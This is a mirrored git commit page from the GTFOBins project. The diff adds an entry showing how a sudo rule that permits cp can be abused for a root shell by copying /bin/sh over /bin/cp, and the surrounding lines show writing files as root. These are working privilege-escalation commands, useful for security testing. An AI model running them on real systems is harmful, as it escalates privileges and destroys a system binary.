mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-11-08 07:49:17 +01:00
Add cp sudo example similar to #235
This commit is contained in:
parent
fcde0d9160
commit
9b402581ce
@ -32,4 +32,8 @@ functions:
|
|||||||
TF=$(mktemp)
|
TF=$(mktemp)
|
||||||
echo "DATA" > $TF
|
echo "DATA" > $TF
|
||||||
sudo cp $TF $LFILE
|
sudo cp $TF $LFILE
|
||||||
|
- description: This overrides `cp` itself with a shell (or any other executable) that is to be executed as root, useful in case a `sudo` rule allows to only run `cp` by path. Warning, this is a destructive action.
|
||||||
|
code: |
|
||||||
|
sudo cp /bin/sh /bin/cp
|
||||||
|
sudo cp
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user